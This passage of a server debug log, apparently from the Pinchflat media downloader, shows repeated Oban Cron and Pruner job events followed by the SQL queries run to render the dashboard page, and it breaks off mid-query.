{"source":"oban","duration":489,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:25:20.010 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:25:50.012 [info] {"source":"oban","duration":1249,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:26:00.179 [info] {"source":"oban","duration":295,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:26:20.013 [info] {"source":"oban","duration":513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:26:50.014 [info] {"source":"oban","duration":767,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:27:00.180 [info] {"source":"oban","duration":532,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:27:20.015 [info] {"source":"oban","duration":763,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:27:50.016 [info] {"source":"oban","duration":546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:28:00.181 [info] {"source":"oban","duration":244,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:28:20.017 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:28:50.019 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:29:00.182 [info] {"source":"oban","duration":507,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:29:20.020 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:29:50.021 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:30:00.183 [info] {"source":"oban","duration":290,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:30:20.022 [info] {"source":"oban","duration":943,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:30:50.025 [info] {"source":"oban","duration":1271,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:31:00.184 [info] {"source":"oban","duration":536,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:31:20.026 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:31:50.028 [info] {"source":"oban","duration":1468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:32:00.185 [info] {"source":"oban","duration":482,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:32:20.030 [info] {"source":"oban","duration":1409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:32:50.031 [info] {"source":"oban","duration":752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:33:00.186 [info] {"source":"oban","duration":347,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:33:20.033 [info] {"source":"oban","duration":1279,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:33:50.034 [info] {"source":"oban","duration":534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:34:00.187 [info] {"source":"oban","duration":488,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:34:20.036 [info] {"source":"oban","duration":1407,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:34:50.038 [info] {"source":"oban","duration":1294,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:35:00.188 [info] {"source":"oban","duration":492,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:35:20.039 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:35:50.040 [info] {"source":"oban","duration":759,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:36:00.189 [info] {"source":"oban","duration":509,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:36:20.042 [info] {"source":"oban","duration":1368,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:36:50.044 [info] {"source":"oban","duration":1646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:37:00.190 [info] {"source":"oban","duration":531,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:37:20.046 [info] {"source":"oban","duration":1569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:37:50.048 [info] {"source":"oban","duration":1649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:38:00.191 [info] {"source":"oban","duration":486,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:38:20.050 [info] {"source":"oban","duration":1660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:38:50.053 [info] {"source":"oban","duration":1432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:39:00.192 [info] {"source":"oban","duration":453,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:39:20.055 [info] {"source":"oban","duration":1658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:39:50.056 [info] {"source":"oban","duration":823,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:40:00.193 [info] {"source":"oban","duration":230,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:40:20.058 [info] {"source":"oban","duration":1618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:40:50.060 [info] {"source":"oban","duration":1327,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:41:00.194 [info] {"source":"oban","duration":546,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:41:20.061 [info] {"source":"oban","duration":572,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:41:50.063 [info] {"source":"oban","duration":1446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:42:00.195 [info] {"source":"oban","duration":354,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:42:20.065 [info] {"source":"oban","duration":1276,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:42:50.066 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:43:00.196 [info] {"source":"oban","duration":534,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:43:20.067 [info] {"source":"oban","duration":738,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:43:50.069 [info] {"source":"oban","duration":1660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:44:00.197 [info] {"source":"oban","duration":516,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:44:20.072 [info] {"source":"oban","duration":1442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:44:50.074 [info] {"source":"oban","duration":1545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:45:00.198 [info] {"source":"oban","duration":543,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:45:20.075 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:45:50.077 [info] {"source":"oban","duration":1409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:46:00.199 [info] {"source":"oban","duration":517,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:46:20.079 [info] {"source":"oban","duration":1636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:46:50.081 [info] {"source":"oban","duration":1252,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:47:00.200 [info] {"source":"oban","duration":497,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:47:20.083 [info] {"source":"oban","duration":1393,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:47:50.084 [info] {"source":"oban","duration":538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:48:00.201 [info] {"source":"oban","duration":587,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:48:20.086 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:48:50.088 [info] {"source":"oban","duration":1659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:49:00.202 [info] {"source":"oban","duration":470,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:49:20.091 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:49:50.093 [info] {"source":"oban","duration":1505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:50:00.203 [info] {"source":"oban","duration":459,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:50:20.095 [info] {"source":"oban","duration":1372,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:50:50.097 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:51:00.204 [info] {"source":"oban","duration":479,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:51:20.099 [info] {"source":"oban","duration":1509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:51:50.101 [info] {"source":"oban","duration":1496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:52:00.205 [info] {"source":"oban","duration":518,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:52:20.103 [info] {"source":"oban","duration":1506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:52:50.104 [info] {"source":"oban","duration":1062,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:53:00.206 [info] {"source":"oban","duration":525,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:53:20.107 [info] {"source":"oban","duration":1320,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:53:50.109 [info] {"source":"oban","duration":1600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:54:00.208 [info] {"source":"oban","duration":455,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:54:20.110 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:54:50.112 [info] {"source":"oban","duration":1429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:55:00.209 [info] {"source":"oban","duration":427,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:55:20.114 [info] {"source":"oban","duration":1409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:55:50.116 [info] {"source":"oban","duration":1679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:56:00.210 [info] {"source":"oban","duration":484,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:56:20.118 [info] {"source":"oban","duration":1262,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:56:50.120 [info] {"source":"oban","duration":1546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:57:00.211 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:57:20.121 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:57:50.123 [info] {"source":"oban","duration":1444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:58:00.212 [info] {"source":"oban","duration":312,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:58:20.125 [info] {"source":"oban","duration":1578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:58:50.127 [info] {"source":"oban","duration":1655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:59:00.213 [info] {"source":"oban","duration":544,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:59:20.128 [info] {"source":"oban","duration":739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:59:50.130 [info] {"source":"oban","duration":1542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:00:00.214 [info] {"source":"oban","duration":495,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:00:20.132 [info] {"source":"oban","duration":1285,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:00:50.134 [info] {"source":"oban","duration":1554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:01:00.215 [info] {"source":"oban","duration":557,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:01:20.136 [info] {"source":"oban","duration":1474,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:01:50.138 [info] {"source":"oban","duration":1372,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:02:00.216 [info] {"source":"oban","duration":293,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:02:20.139 [info] {"source":"oban","duration":764,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:02:50.140 [info] {"source":"oban","duration":542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:03:00.217 [info] {"source":"oban","duration":508,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:03:20.142 [info] {"source":"oban","duration":1590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:03:50.144 [info] {"source":"oban","duration":1601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:04:00.218 [info] {"source":"oban","duration":487,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:04:20.146 [info] {"source":"oban","duration":1735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:04:50.149 [info] {"source":"oban","duration":1575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:05:00.219 [info] {"source":"oban","duration":516,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:05:20.151 [info] {"source":"oban","duration":1724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:05:50.154 [info] {"source":"oban","duration":1378,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:06:00.220 [info] {"source":"oban","duration":525,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:06:20.155 [info] {"source":"oban","duration":1177,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:06:50.158 [info] {"source":"oban","duration":1380,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:07:00.220 [info] {"source":"oban","duration":165,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:07:20.160 [info] {"source":"oban","duration":1534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:07:50.162 [info] {"source":"oban","duration":1637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:08:00.222 [info] {"source":"oban","duration":525,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:08:20.163 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:08:50.165 [info] {"source":"oban","duration":1457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:09:00.223 [info] {"source":"oban","duration":511,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:09:20.167 [info] {"source":"oban","duration":1655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:09:50.170 [info] {"source":"oban","duration":1596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:10:00.224 [info] {"source":"oban","duration":502,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:10:20.172 [info] {"source":"oban","duration":1566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:10:50.174 [info] {"source":"oban","duration":1508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:11:00.225 [info] {"source":"oban","duration":509,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:11:20.175 [info] {"source":"oban","duration":1145,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:11:50.178 [info] {"source":"oban","duration":1605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:12:00.226 [info] {"source":"oban","duration":524,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:12:20.180 [info] {"source":"oban","duration":1348,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:12:50.182 [info] {"source":"oban","duration":1397,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:13:00.227 [info] {"source":"oban","duration":491,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:13:20.184 [info] {"source":"oban","duration":1638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:13:50.185 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:14:00.228 [info] {"source":"oban","duration":471,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:14:20.187 [info] {"source":"oban","duration":1524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:14:50.189 [info] {"source":"oban","duration":1651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:15:00.229 [info] {"source":"oban","duration":535,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:15:20.191 [info] {"source":"oban","duration":1640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:15:50.192 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:16:00.230 [info] {"source":"oban","duration":504,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:16:20.194 [info] {"source":"oban","duration":1564,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:16:50.196 [info] {"source":"oban","duration":1640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:17:00.231 [info] {"source":"oban","duration":517,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:17:20.198 [info] {"source":"oban","duration":1625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:17:50.201 [info] {"source":"oban","duration":1499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:18:00.232 [info] {"source":"oban","duration":545,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:18:20.203 [info] {"source":"oban","duration":1665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:18:50.205 [info] {"source":"oban","duration":1300,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:19:00.233 [info] {"source":"oban","duration":569,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:19:20.206 [info] {"source":"oban","duration":1205,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:19:50.209 [info] {"source":"oban","duration":1274,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:20:00.234 [info] {"source":"oban","duration":322,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:20:20.211 [info] {"source":"oban","duration":1311,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:20:50.213 [info] {"source":"oban","duration":1338,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:21:00.235 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:21:20.215 [info] {"source":"oban","duration":1263,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:21:50.217 [info] {"source":"oban","duration":1310,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:22:00.235 [info] {"source":"oban","duration":161,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:22:14.148 [info] GET / 14:22:14.148 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 14:22:14.148 [debug] QUERY OK source="settings" db=0.1ms idle=429.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:22:14.149 [debug] QUERY OK source="media_profiles" db=0.1ms idle=409.2ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 14:22:14.149 [debug] QUERY OK source="sources" db=0.0ms idle=409.4ms SELECT count(s0."id") FROM "sources" AS s0 [] 14:22:14.149 [debug] QUERY OK source="media_items" db=0.1ms idle=409.5ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 14:22:14.149 [debug] QUERY OK source="media_items" db=0.0ms idle=409.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 14:22:14.149 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:22:14.150 [debug] QUERY OK source="settings" db=0.1ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:22:14.150 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:22:14.151 [debug] QUERY OK source="tasks" db=0.2ms idle=1.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 14:22:14.151 [debug] QUERY OK source="sources" db=0.1ms idle=1.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 14:22:14.152 [debug] QUERY OK source="media_items" db=0.1ms idle=2.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 14:22:14.152 [debug] QUERY OK source="media_items" db=0.2ms idle=2.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 14:22:14.152 [debug] QUERY OK source="sources" db=0.1ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [5, 1] 14:22:14.154 [debug] QUERY OK source="media_items" db=0.3ms idle=2.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 14:22:14.154 [debug] QUERY OK source="media_items" db=0.4ms idle=2.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND 